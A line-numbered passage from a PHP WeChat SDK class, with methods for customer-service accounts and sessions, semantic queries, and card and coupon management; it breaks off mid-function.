  2583. /**
  2584. * 获取多客服客服基本信息
  2585. *
  2586. * @return boolean|array
  2587. */
  2588. public function getCustomServiceKFlist(){
  2589. if (!$this->access_token && !$this->checkAuth()) return false;
  2590. $result = $this->http_get(self::API_URL_PREFIX.self::CUSTOM_SERVICE_GET_KFLIST.'access_token='.$this->access_token);
  2591. if ($result)
  2592. {
  2593. $json = json_decode($result,true);
  2594. if (!$json || !empty($json['errcode'])) {
  2595. $this->errCode = $json['errcode'];
  2596. $this->errMsg = $json['errmsg'];
  2597. return false;
  2598. }
  2599. return $json;
  2600. }
  2601. return false;
  2602. }
  2603.  
  2604. /**
  2605. * 获取多客服在线客服接待信息
  2606. *
  2607. * @return boolean|array {
  2608. "kf_online_list": [
  2609. {
  2610. "kf_account": "test1@test", //客服账号@微信别名
  2611. "status": 1, //客服在线状态 1:pc在线,2:手机在线,若pc和手机同时在线则为 1+2=3
  2612. "kf_id": "1001", //客服工号
  2613. "auto_accept": 0, //客服设置的最大自动接入数
  2614. "accepted_case": 1 //客服当前正在接待的会话数
  2615. }
  2616. ]
  2617. }
  2618. */
  2619. public function getCustomServiceOnlineKFlist(){
  2620. if (!$this->access_token && !$this->checkAuth()) return false;
  2621. $result = $this->http_get(self::API_URL_PREFIX.self::CUSTOM_SERVICE_GET_ONLINEKFLIST.'access_token='.$this->access_token);
  2622. if ($result)
  2623. {
  2624. $json = json_decode($result,true);
  2625. if (!$json || !empty($json['errcode'])) {
  2626. $this->errCode = $json['errcode'];
  2627. $this->errMsg = $json['errmsg'];
  2628. return false;
  2629. }
  2630. return $json;
  2631. }
  2632. return false;
  2633. }
  2634.  
  2635. /**
  2636. * 创建指定多客服会话
  2637. * @tutorial 当用户已被其他客服接待或指定客服不在线则会失败
  2638. * @param string $openid //用户openid
  2639. * @param string $kf_account //客服账号
  2640. * @param string $text //附加信息,文本会展示在客服人员的多客服客户端,可为空
  2641. * @return boolean | array //成功返回json数组
  2642. * {
  2643. * "errcode": 0,
  2644. * "errmsg": "ok",
  2645. * }
  2646. */
  2647. public function createKFSession($openid,$kf_account,$text=''){
  2648. $data=array(
  2649. "openid" =>$openid,
  2650. "kf_account" => $kf_account
  2651. );
  2652. if ($text) $data["text"] = $text;
  2653. if (!$this->access_token && !$this->checkAuth()) return false;
  2654. $result = $this->http_post(self::API_BASE_URL_PREFIX.self::CUSTOM_SESSION_CREATE.'access_token='.$this->access_token,self::json_encode($data));
  2655. if ($result)
  2656. {
  2657. $json = json_decode($result,true);
  2658. if (!$json || !empty($json['errcode'])) {
  2659. $this->errCode = $json['errcode'];
  2660. $this->errMsg = $json['errmsg'];
  2661. return false;
  2662. }
  2663. return $json;
  2664. }
  2665. return false;
  2666. }
  2667.  
  2668. /**
  2669. * 关闭指定多客服会话
  2670. * @tutorial 当用户被其他客服接待时则会失败
  2671. * @param string $openid //用户openid
  2672. * @param string $kf_account //客服账号
  2673. * @param string $text //附加信息,文本会展示在客服人员的多客服客户端,可为空
  2674. * @return boolean | array //成功返回json数组
  2675. * {
  2676. * "errcode": 0,
  2677. * "errmsg": "ok",
  2678. * }
  2679. */
  2680. public function closeKFSession($openid,$kf_account,$text=''){
  2681. $data=array(
  2682. "openid" =>$openid,
  2683. "kf_account" => $kf_account
  2684. );
  2685. if ($text) $data["text"] = $text;
  2686. if (!$this->access_token && !$this->checkAuth()) return false;
  2687. $result = $this->http_post(self::API_BASE_URL_PREFIX.self::CUSTOM_SESSION_CLOSE .'access_token='.$this->access_token,self::json_encode($data));
  2688. if ($result)
  2689. {
  2690. $json = json_decode($result,true);
  2691. if (!$json || !empty($json['errcode'])) {
  2692. $this->errCode = $json['errcode'];
  2693. $this->errMsg = $json['errmsg'];
  2694. return false;
  2695. }
  2696. return $json;
  2697. }
  2698. return false;
  2699. }
  2700.  
  2701. /**
  2702. * 获取用户会话状态
  2703. * @param string $openid //用户openid
  2704. * @return boolean | array //成功返回json数组
  2705. * {
  2706. * "errcode" : 0,
  2707. * "errmsg" : "ok",
  2708. * "kf_account" : "test1@test", //正在接待的客服
  2709. * "createtime": 123456789, //会话接入时间
  2710. * }
  2711. */
  2712. public function getKFSession($openid){
  2713. if (!$this->access_token && !$this->checkAuth()) return false;
  2714. $result = $this->http_get(self::API_BASE_URL_PREFIX.self::CUSTOM_SESSION_GET .'access_token='.$this->access_token.'&openid='.$openid);
  2715. if ($result)
  2716. {
  2717. $json = json_decode($result,true);
  2718. if (!$json || !empty($json['errcode'])) {
  2719. $this->errCode = $json['errcode'];
  2720. $this->errMsg = $json['errmsg'];
  2721. return false;
  2722. }
  2723. return $json;
  2724. }
  2725. return false;
  2726. }
  2727.  
  2728. /**
  2729. * 获取指定客服的会话列表
  2730. * @param string $openid //用户openid
  2731. * @return boolean | array //成功返回json数组
  2732. * array(
  2733. * 'sessionlist' => array (
  2734. * array (
  2735. * 'openid'=>'OPENID', //客户 openid
  2736. * 'createtime'=>123456789, //会话创建时间,UNIX 时间戳
  2737. * ),
  2738. * array (
  2739. * 'openid'=>'OPENID', //客户 openid
  2740. * 'createtime'=>123456789, //会话创建时间,UNIX 时间戳
  2741. * ),
  2742. * )
  2743. * )
  2744. */
  2745. public function getKFSessionlist($kf_account){
  2746. if (!$this->access_token && !$this->checkAuth()) return false;
  2747. $result = $this->http_get(self::API_BASE_URL_PREFIX.self::CUSTOM_SESSION_GET_LIST .'access_token='.$this->access_token.'&kf_account='.$kf_account);
  2748. if ($result)
  2749. {
  2750. $json = json_decode($result,true);
  2751. if (!$json || !empty($json['errcode'])) {
  2752. $this->errCode = $json['errcode'];
  2753. $this->errMsg = $json['errmsg'];
  2754. return false;
  2755. }
  2756. return $json;
  2757. }
  2758. return false;
  2759. }
  2760.  
  2761. /**
  2762. * 获取未接入会话列表
  2763. * @param string $openid //用户openid
  2764. * @return boolean | array //成功返回json数组
  2765. * array (
  2766. * 'count' => 150 , //未接入会话数量
  2767. * 'waitcaselist' => array (
  2768. * array (
  2769. * 'openid'=>'OPENID', //客户 openid
  2770. * 'kf_account ' =>'', //指定接待的客服,为空则未指定
  2771. * 'createtime'=>123456789, //会话创建时间,UNIX 时间戳
  2772. * ),
  2773. * array (
  2774. * 'openid'=>'OPENID', //客户 openid
  2775. * 'kf_account ' =>'', //指定接待的客服,为空则未指定
  2776. * 'createtime'=>123456789, //会话创建时间,UNIX 时间戳
  2777. * )
  2778. * )
  2779. * )
  2780. */
  2781. public function getKFSessionWait(){
  2782. if (!$this->access_token && !$this->checkAuth()) return false;
  2783. $result = $this->http_get(self::API_BASE_URL_PREFIX.self::CUSTOM_SESSION_GET_WAIT .'access_token='.$this->access_token);
  2784. if ($result)
  2785. {
  2786. $json = json_decode($result,true);
  2787. if (!$json || !empty($json['errcode'])) {
  2788. $this->errCode = $json['errcode'];
  2789. $this->errMsg = $json['errmsg'];
  2790. return false;
  2791. }
  2792. return $json;
  2793. }
  2794. return false;
  2795. }
  2796.  
  2797. /**
  2798. * 添加客服账号
  2799. *
  2800. * @param string $account //完整客服账号,格式为:账号前缀@公众号微信号,账号前缀最多10个字符,必须是英文或者数字字符
  2801. * @param string $nickname //客服昵称,最长6个汉字或12个英文字符
  2802. * @param string $password //客服账号明文登录密码,会自动加密
  2803. * @return boolean|array
  2804. * 成功返回结果
  2805. * {
  2806. * "errcode": 0,
  2807. * "errmsg": "ok",
  2808. * }
  2809. */
  2810. public function addKFAccount($account,$nickname,$password){
  2811. $data=array(
  2812. "kf_account" =>$account,
  2813. "nickname" => $nickname,
  2814. "password" => md5($password)
  2815. );
  2816. if (!$this->access_token && !$this->checkAuth()) return false;
  2817. $result = $this->http_post(self::API_BASE_URL_PREFIX.self::CS_KF_ACCOUNT_ADD_URL.'access_token='.$this->access_token,self::json_encode($data));
  2818. if ($result)
  2819. {
  2820. $json = json_decode($result,true);
  2821. if (!$json || !empty($json['errcode'])) {
  2822. $this->errCode = $json['errcode'];
  2823. $this->errMsg = $json['errmsg'];
  2824. return false;
  2825. }
  2826. return $json;
  2827. }
  2828. return false;
  2829. }
  2830.  
  2831. /**
  2832. * 修改客服账号信息
  2833. *
  2834. * @param string $account //完整客服账号,格式为:账号前缀@公众号微信号,账号前缀最多10个字符,必须是英文或者数字字符
  2835. * @param string $nickname //客服昵称,最长6个汉字或12个英文字符
  2836. * @param string $password //客服账号明文登录密码,会自动加密
  2837. * @return boolean|array
  2838. * 成功返回结果
  2839. * {
  2840. * "errcode": 0,
  2841. * "errmsg": "ok",
  2842. * }
  2843. */
  2844. public function updateKFAccount($account,$nickname,$password){
  2845. $data=array(
  2846. "kf_account" =>$account,
  2847. "nickname" => $nickname,
  2848. "password" => md5($password)
  2849. );
  2850. if (!$this->access_token && !$this->checkAuth()) return false;
  2851. $result = $this->http_post(self::API_BASE_URL_PREFIX.self::CS_KF_ACCOUNT_UPDATE_URL.'access_token='.$this->access_token,self::json_encode($data));
  2852. if ($result)
  2853. {
  2854. $json = json_decode($result,true);
  2855. if (!$json || !empty($json['errcode'])) {
  2856. $this->errCode = $json['errcode'];
  2857. $this->errMsg = $json['errmsg'];
  2858. return false;
  2859. }
  2860. return $json;
  2861. }
  2862. return false;
  2863. }
  2864.  
  2865. /**
  2866. * 删除客服账号
  2867. *
  2868. * @param string $account //完整客服账号,格式为:账号前缀@公众号微信号,账号前缀最多10个字符,必须是英文或者数字字符
  2869. * @return boolean|array
  2870. * 成功返回结果
  2871. * {
  2872. * "errcode": 0,
  2873. * "errmsg": "ok",
  2874. * }
  2875. */
  2876. public function deleteKFAccount($account){
  2877. if (!$this->access_token && !$this->checkAuth()) return false;
  2878. $result = $this->http_get(self::API_BASE_URL_PREFIX.self::CS_KF_ACCOUNT_DEL_URL.'access_token='.$this->access_token.'&kf_account='.$account);
  2879. if ($result)
  2880. {
  2881. $json = json_decode($result,true);
  2882. if (!$json || !empty($json['errcode'])) {
  2883. $this->errCode = $json['errcode'];
  2884. $this->errMsg = $json['errmsg'];
  2885. return false;
  2886. }
  2887. return $json;
  2888. }
  2889. return false;
  2890. }
  2891.  
  2892. /**
  2893. * 上传客服头像
  2894. *
  2895. * @param string $account //完整客服账号,格式为:账号前缀@公众号微信号,账号前缀最多10个字符,必须是英文或者数字字符
  2896. * @param string $imgfile //头像文件完整路径,如:'D:\user.jpg'。头像文件必须JPG格式,像素建议640*640
  2897. * @return boolean|array
  2898. * 成功返回结果
  2899. * {
  2900. * "errcode": 0,
  2901. * "errmsg": "ok",
  2902. * }
  2903. */
  2904. public function setKFHeadImg($account,$imgfile){
  2905. if (!$this->access_token && !$this->checkAuth()) return false;
  2906. $result = $this->http_post(self::API_BASE_URL_PREFIX.self::CS_KF_ACCOUNT_UPLOAD_HEADIMG_URL.'access_token='.$this->access_token.'&kf_account='.$account,array('media'=>'@'.$imgfile),true);
  2907. if ($result)
  2908. {
  2909. $json = json_decode($result,true);
  2910. if (!$json || !empty($json['errcode'])) {
  2911. $this->errCode = $json['errcode'];
  2912. $this->errMsg = $json['errmsg'];
  2913. return false;
  2914. }
  2915. return $json;
  2916. }
  2917. return false;
  2918. }
  2919.  
  2920. /**
  2921. * 语义理解接口
  2922. * @param String $uid 用户唯一id(非开发者id),用户区分公众号下的不同用户(建议填入用户openid)
  2923. * @param String $query 输入文本串
  2924. * @param String $category 需要使用的服务类型,多个用“,”隔开,不能为空
  2925. * @param Float $latitude 纬度坐标,与经度同时传入;与城市二选一传入
  2926. * @param Float $longitude 经度坐标,与纬度同时传入;与城市二选一传入
  2927. * @param String $city 城市名称,与经纬度二选一传入
  2928. * @param String $region 区域名称,在城市存在的情况下可省略;与经纬度二选一传入
  2929. * @return boolean|array
  2930. */
  2931. public function querySemantic($uid,$query,$category,$latitude=0,$longitude=0,$city="",$region=""){
  2932. if (!$this->access_token && !$this->checkAuth()) return false;
  2933. $data=array(
  2934. 'query' => $query,
  2935. 'category' => $category,
  2936. 'appid' => $this->appid,
  2937. 'uid' => ''
  2938. );
  2939. //地理坐标或城市名称二选一
  2940. if ($latitude) {
  2941. $data['latitude'] = $latitude;
  2942. $data['longitude'] = $longitude;
  2943. } elseif ($city) {
  2944. $data['city'] = $city;
  2945. } elseif ($region) {
  2946. $data['region'] = $region;
  2947. }
  2948. $result = $this->http_post(self::API_BASE_URL_PREFIX.self::SEMANTIC_API_URL.'access_token='.$this->access_token,self::json_encode($data));
  2949. if ($result)
  2950. {
  2951. $json = json_decode($result,true);
  2952. if (!$json || !empty($json['errcode'])) {
  2953. $this->errCode = $json['errcode'];
  2954. $this->errMsg = $json['errmsg'];
  2955. return false;
  2956. }
  2957. return $json;
  2958. }
  2959. return false;
  2960. }
  2961.  
  2962. /**
  2963. * 创建卡券
  2964. * @param Array $data 卡券数据
  2965. * @return array|boolean 返回数组中card_id为卡券ID
  2966. */
  2967. public function createCard($data) {
  2968. if (!$this->access_token && !$this->checkAuth()) return false;
  2969. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_CREATE . 'access_token=' . $this->access_token, self::json_encode($data));
  2970. if ($result) {
  2971. $json = json_decode($result, true);
  2972. if (!$json || !empty($json['errcode'])) {
  2973. $this->errCode = $json['errcode'];
  2974. $this->errMsg = $json['errmsg'];
  2975. return false;
  2976. }
  2977. return $json;
  2978. }
  2979. return false;
  2980. }
  2981.  
  2982. /**
  2983. * 更改卡券信息
  2984. * 调用该接口更新信息后会重新送审,卡券状态变更为待审核。已被用户领取的卡券会实时更新票面信息。
  2985. * @param string $data
  2986. * @return boolean
  2987. */
  2988. public function updateCard($data) {
  2989. if (!$this->access_token && !$this->checkAuth()) return false;
  2990. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_UPDATE . 'access_token=' . $this->access_token, self::json_encode($data));
  2991. if ($result) {
  2992. $json = json_decode($result, true);
  2993. if (!$json || !empty($json['errcode'])) {
  2994. $this->errCode = $json['errcode'];
  2995. $this->errMsg = $json['errmsg'];
  2996. return false;
  2997. }
  2998. return true;
  2999. }
  3000. return false;
  3001. }
  3002.  
  3003. /**
  3004. * 删除卡券
  3005. * 允许商户删除任意一类卡券。删除卡券后,该卡券对应已生成的领取用二维码、添加到卡包 JS API 均会失效。
  3006. * 注意:删除卡券不能删除已被用户领取,保存在微信客户端中的卡券,已领取的卡券依旧有效。
  3007. * @param string $card_id 卡券ID
  3008. * @return boolean
  3009. */
  3010. public function delCard($card_id) {
  3011. $data = array(
  3012. 'card_id' => $card_id,
  3013. );
  3014. if (!$this->access_token && !$this->checkAuth()) return false;
  3015. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_DELETE . 'access_token=' . $this->access_token, self::json_encode($data));
  3016. if ($result) {
  3017. $json = json_decode($result, true);
  3018. if (!$json || !empty($json['errcode'])) {
  3019. $this->errCode = $json['errcode'];
  3020. $this->errMsg = $json['errmsg'];
  3021. return false;
  3022. }
  3023. return true;
  3024. }
  3025. return false;
  3026. }
  3027.  
  3028. /**
  3029. * 查询卡券详情
  3030. * @param string $card_id
  3031. * @return boolean|array 返回数组信息比较复杂,请参看卡券接口文档
  3032. */
  3033. public function getCardInfo($card_id) {
  3034. $data = array(
  3035. 'card_id' => $card_id,
  3036. );
  3037. if (!$this->access_token && !$this->checkAuth()) return false;
  3038. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_GET . 'access_token=' . $this->access_token, self::json_encode($data));
  3039. if ($result) {
  3040. $json = json_decode($result, true);
  3041. if (!$json || !empty($json['errcode'])) {
  3042. $this->errCode = $json['errcode'];
  3043. $this->errMsg = $json['errmsg'];
  3044. return false;
  3045. }
  3046. return $json;
  3047. }
  3048. return false;
  3049. }
  3050.  
  3051. /**
  3052. * 获取颜色列表
  3053. * 获得卡券的最新颜色列表,用于创建卡券
  3054. * @return boolean|array 返回数组请参看 微信卡券接口文档 的json格式
  3055. */
  3056. public function getCardColors() {
  3057. if (!$this->access_token && !$this->checkAuth()) return false;
  3058. $result = $this->http_get(self::API_BASE_URL_PREFIX . self::CARD_GETCOLORS . 'access_token=' . $this->access_token);
  3059. if ($result) {
  3060. $json = json_decode($result, true);
  3061. if (!$json || !empty($json['errcode'])) {
  3062. $this->errCode = $json['errcode'];
  3063. $this->errMsg = $json['errmsg'];
  3064. return false;
  3065. }
  3066. return $json;
  3067. }
  3068. return false;
  3069. }
  3070.  
  3071. /**
  3072. * 拉取门店列表
  3073. * 获取在公众平台上申请创建的门店列表
  3074. * @param int $offset 开始拉取的偏移,默认为0从头开始
  3075. * @param int $count 拉取的数量,默认为0拉取全部
  3076. * @return boolean|array 返回数组请参看 微信卡券接口文档 的json格式
  3077. */
  3078. public function getCardLocations($offset=0,$count=0) {
  3079. $data=array(
  3080. 'offset'=>$offset,
  3081. 'count'=>$count
  3082. );
  3083. if (!$this->access_token && !$this->checkAuth()) return false;
  3084. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_LOCATION_BATCHGET . 'access_token=' . $this->access_token, self::json_encode($data));
  3085. if ($result) {
  3086. $json = json_decode($result, true);
  3087. if (!$json || !empty($json['errcode'])) {
  3088. $this->errCode = $json['errcode'];
  3089. $this->errMsg = $json['errmsg'];
  3090. return false;
  3091. }
  3092. return $json;
  3093. }
  3094. return false;
  3095. }
  3096.  
  3097. /**
  3098. * 批量导入门店信息
  3099. * @tutorial 返回插入的门店id列表,以逗号分隔。如果有插入失败的,则为-1,请自行核查是哪个插入失败
  3100. * @param array $data 数组形式的json数据,由于内容较多,具体内容格式请查看 微信卡券接口文档
  3101. * @return boolean|string 成功返回插入的门店id列表
  3102. */
  3103. public function addCardLocations($data) {
  3104. if (!$this->access_token && !$this->checkAuth()) return false;
  3105. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_LOCATION_BATCHADD . 'access_token=' . $this->access_token, self::json_encode($data));
  3106. if ($result) {
  3107. $json = json_decode($result, true);
  3108. if (!$json || !empty($json['errcode'])) {
  3109. $this->errCode = $json['errcode'];
  3110. $this->errMsg = $json['errmsg'];
  3111. return false;
  3112. }
  3113. return $json;
  3114. }
  3115. return false;
  3116. }
  3117.  
  3118. /**
  3119. * 生成卡券二维码
  3120. * 成功则直接返回ticket值,可以用 getQRUrl($ticket) 换取二维码url
  3121. *
  3122. * @param string $cardid 卡券ID 必须
  3123. * @param string $code 指定卡券 code 码,只能被领一次。use_custom_code 字段为 true 的卡券必须填写,非自定义 code 不必填写。
  3124. * @param string $openid 指定领取者的 openid,只有该用户能领取。bind_openid 字段为 true 的卡券必须填写,非自定义 openid 不必填写。
  3125. * @param int $expire_seconds 指定二维码的有效时间,范围是 60 ~ 1800 秒。不填默认为永久有效。
  3126. * @param boolean $is_unique_code 指定下发二维码,生成的二维码随机分配一个 code,领取后不可再次扫描。填写 true 或 false。默认 false。
  3127. * @param string $balance 红包余额,以分为单位。红包类型必填(LUCKY_MONEY),其他卡券类型不填。
  3128. * @return boolean|string
  3129. */
  3130. public function createCardQrcode($card_id,$code='',$openid='',$expire_seconds=0,$is_unique_code=false,$balance='') {
  3131. $card = array(
  3132. 'card_id' => $card_id
  3133. );
  3134. $data = array(
  3135. 'action_name' => "QR_CARD"
  3136. );
  3137. if ($code)
  3138. $card['code'] = $code;
  3139. if ($openid)
  3140. $card['openid'] = $openid;
  3141. if ($is_unique_code)
  3142. $card['is_unique_code'] = $is_unique_code;
  3143. if ($balance)
  3144. $card['balance'] = $balance;
  3145. if ($expire_seconds)
  3146. $data['expire_seconds'] = $expire_seconds;
  3147. $data['action_info'] = array('card' => $card);
  3148. if (!$this->access_token && !$this->checkAuth()) return false;
  3149. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_QRCODE_CREATE . 'access_token=' . $this->access_token, self::json_encode($data));
  3150. if ($result) {
  3151. $json = json_decode($result, true);
  3152. if (!$json || !empty($json['errcode'])) {
  3153. $this->errCode = $json['errcode'];
  3154. $this->errMsg = $json['errmsg'];
  3155. return false;
  3156. }
  3157. return $json;
  3158. }
  3159. return false;
  3160. }
  3161.  
  3162. /**
  3163. * 消耗 code
  3164. * 自定义 code(use_custom_code 为 true)的优惠券,在 code 被核销时,必须调用此接口。
  3165. *
  3166. * @param string $code 要消耗的序列号
  3167. * @param string $card_id 要消耗序列号所述的 card_id,创建卡券时use_custom_code 填写 true 时必填。
  3168. * @return boolean|array
  3169. * {
  3170. * "errcode":0,
  3171. * "errmsg":"ok",
  3172. * "card":{"card_id":"pFS7Fjg8kV1IdDz01r4SQwMkuCKc"},
  3173. * "openid":"oFS7Fjl0WsZ9AMZqrI80nbIq8xrA"
  3174. * }
  3175. */
  3176. public function consumeCardCode($code,$card_id='') {
  3177. $data = array('code' => $code);
  3178. if ($card_id)
  3179. $data['card_id'] = $card_id;
  3180. if (!$this->access_token && !$this->checkAuth()) return false;
  3181. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_CODE_CONSUME . 'access_token=' . $this->access_token, self::json_encode($data));
  3182. if ($result) {
  3183. $json = json_decode($result, true);
  3184. if (!$json || !empty($json['errcode'])) {
  3185. $this->errCode = $json['errcode'];
  3186. $this->errMsg = $json['errmsg'];
  3187. return false;
  3188. }
  3189. return $json;
  3190. }
  3191. return false;
  3192. }
  3193.  
  3194. /**
  3195. * code 解码
  3196. * @param string $encrypt_code 通过 choose_card_info 获取的加密字符串
  3197. * @return boolean|array
  3198. * {
  3199. * "errcode":0,
  3200. * "errmsg":"ok",
  3201. * "code":"751234212312"
  3202. * }
  3203. */
  3204. public function decryptCardCode($encrypt_code) {
  3205. $data = array(
  3206. 'encrypt_code' => $encrypt_code,
  3207. );
  3208. if (!$this->access_token && !$this->checkAuth()) return false;
  3209. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_CODE_DECRYPT . 'access_token=' . $this->access_token, self::json_encode($data));
  3210. if ($result) {
  3211. $json = json_decode($result, true);
  3212. if (!$json || !empty($json['errcode'])) {
  3213. $this->errCode = $json['errcode'];
  3214. $this->errMsg = $json['errmsg'];
  3215. return false;
  3216. }
  3217. return $json;
  3218. }
  3219. return false;
  3220. }
  3221.  
  3222. /**
  3223. * 查询 code 的有效性(非自定义 code)
  3224. * @param string $code
  3225. * @return boolean|array
  3226. * {
  3227. * "errcode":0,
  3228. * "errmsg":"ok",
  3229. * "openid":"oFS7Fjl0WsZ9AMZqrI80nbIq8xrA", //用户 openid
  3230. * "card":{
  3231. * "card_id":"pFS7Fjg8kV1IdDz01r4SQwMkuCKc",
  3232. * "begin_time": 1404205036, //起始使用时间
  3233. * "end_time": 1404205036, //结束时间
  3234. * }
  3235. * }
  3236. */
  3237. public function checkCardCode($code) {
  3238. $data = array(
  3239. 'code' => $code,
  3240. );
  3241. if (!$this->access_token && !$this->checkAuth()) return false;
  3242. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_CODE_GET . 'access_token=' . $this->access_token, self::json_encode($data));
  3243. if ($result) {
  3244. $json = json_decode($result, true);
  3245. if (!$json || !empty($json['errcode'])) {
  3246. $this->errCode = $json['errcode'];
  3247. $this->errMsg = $json['errmsg'];
  3248. return false;
  3249. }
  3250. return $json;
  3251. }
  3252. return false;
  3253. }
  3254.  
  3255. /**
  3256. * 批量查询卡列表
  3257. * @param $offset 开始拉取的偏移,默认为0从头开始
  3258. * @param $count 需要查询的卡片的数量(数量最大50,默认50)
  3259. * @return boolean|array
  3260. * {
  3261. * "errcode":0,
  3262. * "errmsg":"ok",
  3263. * "card_id_list":["ph_gmt7cUVrlRk8swPwx7aDyF-pg"], //卡 id 列表
  3264. * "total_num":1 //该商户名下 card_id 总数
  3265. * }
  3266. */
  3267. public function getCardIdList($offset=0,$count=50) {
  3268. if ($count>50)
  3269. $count = 50;
  3270. $data = array(
  3271. 'offset' => $offset,
  3272. 'count' => $count,
  3273. );
  3274. if (!$this->access_token && !$this->checkAuth()) return false;
  3275. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_BATCHGET . 'access_token=' . $this->access_token, self::json_encode($data));
  3276. if ($result) {
  3277. $json = json_decode($result, true);
  3278. if (!$json || !empty($json['errcode'])) {
  3279. $this->errCode = $json['errcode'];
  3280. $this->errMsg = $json['errmsg'];
  3281. return false;
  3282. }
  3283. return $json;
  3284. }
  3285. return false;
  3286. }
  3287.  
  3288. /**
  3289. * 更改 code
  3290. * 为确保转赠后的安全性,微信允许自定义code的商户对已下发的code进行更改。
  3291. * 注:为避免用户疑惑,建议仅在发生转赠行为后(发生转赠后,微信会通过事件推送的方式告知商户被转赠的卡券code)对用户的code进行更改。
  3292. * @param string $code 卡券的 code 编码
  3293. * @param string $card_id 卡券 ID
  3294. * @param string $new_code 新的卡券 code 编码
  3295. * @return boolean
  3296. */
  3297. public function updateCardCode($code,$card_id,$new_code) {
  3298. $data = array(
  3299. 'code' => $code,
  3300. 'card_id' => $card_id,
  3301. 'new_code' => $new_code,
  3302. );
  3303. if (!$this->access_token && !$this->checkAuth()) return false;
  3304. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_CODE_UPDATE . 'access_token=' . $this->access_token, self::json_encode($data));
  3305. if ($result) {
  3306. $json = json_decode($result, true);
  3307. if (!$json || !empty($json['errcode'])) {
  3308. $this->errCode = $json['errcode'];
  3309. $this->errMsg = $json['errmsg'];
  3310. return false;
  3311. }
  3312. return true;
  3313. }
  3314. return false;
  3315. }
  3316.  
  3317. /**
  3318. * 设置卡券失效
  3319. * 设置卡券失效的操作不可逆
  3320. * @param string $code 需要设置为失效的 code
  3321. * @param string $card_id 自定义 code 的卡券必填。非自定义 code 的卡券不填。
  3322. * @return boolean
  3323. */
  3324. public function unavailableCardCode($code,$card_id='') {
  3325. $data = array(
  3326. 'code' => $code,
  3327. );
  3328. if ($card_id)
  3329. $data['card_id'] = $card_id;
  3330. if (!$this->access_token && !$this->checkAuth()) return false;
  3331. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_CODE_UNAVAILABLE . 'access_token=' . $this->access_token, self::json_encode($data));
  3332. if ($result) {
  3333. $json = json_decode($result, true);
  3334. if (!$json || !empty($json['errcode'])) {
  3335. $this->errCode = $json['errcode'];
  3336. $this->errMsg = $json['errmsg'];
  3337. return false;
  3338. }
  3339. return true;
  3340. }
  3341. return false;
  3342. }
  3343.  
  3344. /**
  3345. * 库存修改
  3346. * @param string $data
  3347. * @return boolean
  3348. */
  3349. public function modifyCardStock($data) {
  3350. if (!$this->access_token && !$this->checkAuth()) return false;
  3351. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_MODIFY_STOCK . 'access_token=' . $this->access_token, self::json_encode($data));
  3352. if ($result) {
  3353. $json = json_decode($result, true);
  3354. if (!$json || !empty($json['errcode'])) {
  3355. $this->errCode = $json['errcode'];
  3356. $this->errMsg = $json['errmsg'];
  3357. return false;
  3358. }
  3359. return true;
  3360. }
  3361. return false;
  3362. }
  3363.  
  3364. /**
  3365. * 更新门票
  3366. * @param string $data
  3367. * @return boolean
  3368. */
  3369. public function updateMeetingCard($data) {
  3370. if (!$this->access_token && !$this->checkAuth()) return false;
  3371. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_MEETINGCARD_UPDATEUSER . 'access_token=' . $this->access_token, self::json_encode($data));
  3372. if ($result) {
  3373. $json = json_decode($result, true);
  3374. if (!$json || !empty($json['errcode'])) {
  3375. $this->errCode = $json['errcode'];
  3376. $this->errMsg = $json['errmsg'];
  3377. return false;
  3378. }
  3379. return true;
  3380. }
  3381. return false;
  3382. }
  3383.  
  3384. /**
  3385. * 激活/绑定会员卡
  3386. * @param string $data 具体结构请参看卡券开发文档(6.1.1 激活/绑定会员卡)章节
  3387. * @return boolean
  3388. */
  3389. public function activateMemberCard($data) {
  3390. if (!$this->access_token && !$this->checkAuth()) return false;
  3391. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_MEMBERCARD_ACTIVATE . 'access_token=' . $this->access_token, self::json_encode($data));
  3392. if ($result) {
  3393. $json = json_decode($result, true);
  3394. if (!$json || !empty($json['errcode'])) {
  3395. $this->errCode = $json['errcode'];
  3396. $this->errMsg = $json['errmsg'];
  3397. return false;
  3398. }
  3399. return true;
  3400. }
  3401. return false;
  3402. }
  3403.  
  3404. /**
  3405. * 会员卡交易
  3406. * 会员卡交易后每次积分及余额变更需通过接口通知微信,便于后续消息通知及其他扩展功能。
  3407. * @param string $data 具体结构请参看卡券开发文档(6.1.2 会员卡交易)章节
  3408. * @return boolean|array
  3409. */
  3410. public function updateMemberCard($data) {
  3411. if (!$this->access_token && !$this->checkAuth()) return false;
  3412. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_MEMBERCARD_UPDATEUSER . 'access_token=' . $this->access_token, self::json_encode($data));
  3413. if ($result) {
  3414. $json = json_decode($result, true);
  3415. if (!$json || !empty($json['errcode'])) {
  3416. $this->errCode = $json['errcode'];
  3417. $this->errMsg = $json['errmsg'];
  3418. return false;
  3419. }
  3420. return $json;
  3421. }
  3422. return false;
  3423. }
  3424.  
  3425. /**
  3426. * 更新红包金额
  3427. * @param string $code 红包的序列号
  3428. * @param $balance 红包余额
  3429. * @param string $card_id 自定义 code 的卡券必填。非自定义 code 可不填。
  3430. * @return boolean|array
  3431. */
  3432. public function updateLuckyMoney($code,$balance,$card_id='') {
  3433. $data = array(
  3434. 'code' => $code,
  3435. 'balance' => $balance
  3436. );
  3437. if ($card_id)
  3438. $data['card_id'] = $card_id;
  3439. if (!$this->access_token && !$this->checkAuth()) return false;
  3440. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_LUCKYMONEY_UPDATE . 'access_token=' . $this->access_token, self::json_encode($data));
  3441. if ($result) {
  3442. $json = json_decode($result, true);
  3443. if (!$json || !empty($json['errcode'])) {
  3444. $this->errCode = $json['errcode'];
  3445. $this->errMsg = $json['errmsg'];
